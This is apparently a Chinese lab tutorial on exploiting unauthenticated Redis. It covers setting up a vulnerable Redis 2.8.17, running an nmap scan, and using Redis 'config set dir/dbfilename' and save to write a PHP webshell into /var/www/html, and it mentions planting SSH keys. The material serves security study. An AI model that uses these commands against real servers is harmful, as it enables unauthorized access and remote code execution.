Redis未授权访问漏洞

前言

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,

如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

环境搭建

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

下载之后解压出来

tar -zxvf redis-2.8.17.tar.gz

Redis未授权访问漏洞

make 进行编译,警告我们可以忽略

Redis未授权访问漏洞

Redis未授权访问漏洞

make结束后,进入src目录:cd src,将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

cp redis-server /usr/bin/

cp redis-cli /usr/bin/

 

返回目录redis-2.8.17,将redis.conf也拷贝到/etc/目录下:

Redis未授权访问漏洞

接着使用/etc/目录下的reids.conf文件中的配置启动redis服务:

由于我端口重复了,所以修改了下端口

port修改成6378

Redis未授权访问漏洞

Redis未授权访问漏洞

Redis未授权访问漏洞

nmap检测

nmap -sV -p- 192.168.111.129

可以看到redis开启了

Redis未授权访问漏洞

这里我们为了方便做事,安装个redis clinet

地址:https://github.com/caoxinyu/RedisClient/releases

Redis未授权访问漏洞

Redis未授权访问漏洞

由于我们换了端口这里也换上,无需密码即可登录

Redis未授权访问漏洞

Redis未授权访问漏洞

可以看出redis未启用认证。

利用redis写webshell

利用条件

靶机redis未授权,在攻击机能用redis clinet连接,如上图,并未登录验证

靶机开启web服务,并且知道网站路径,还需要具有文件读写增删改查权限

靶机网站路径:/var/www/html/

我们开启http服务

service apache2 start

Redis未授权访问漏洞

这里我们调出Console

Redis未授权访问漏洞

Redis未授权访问漏洞

config set dir /var/www/html

config set dbfilename test.php

config set webshell "<?php phpinfo(); ?>"

saveRedis未授权访问漏洞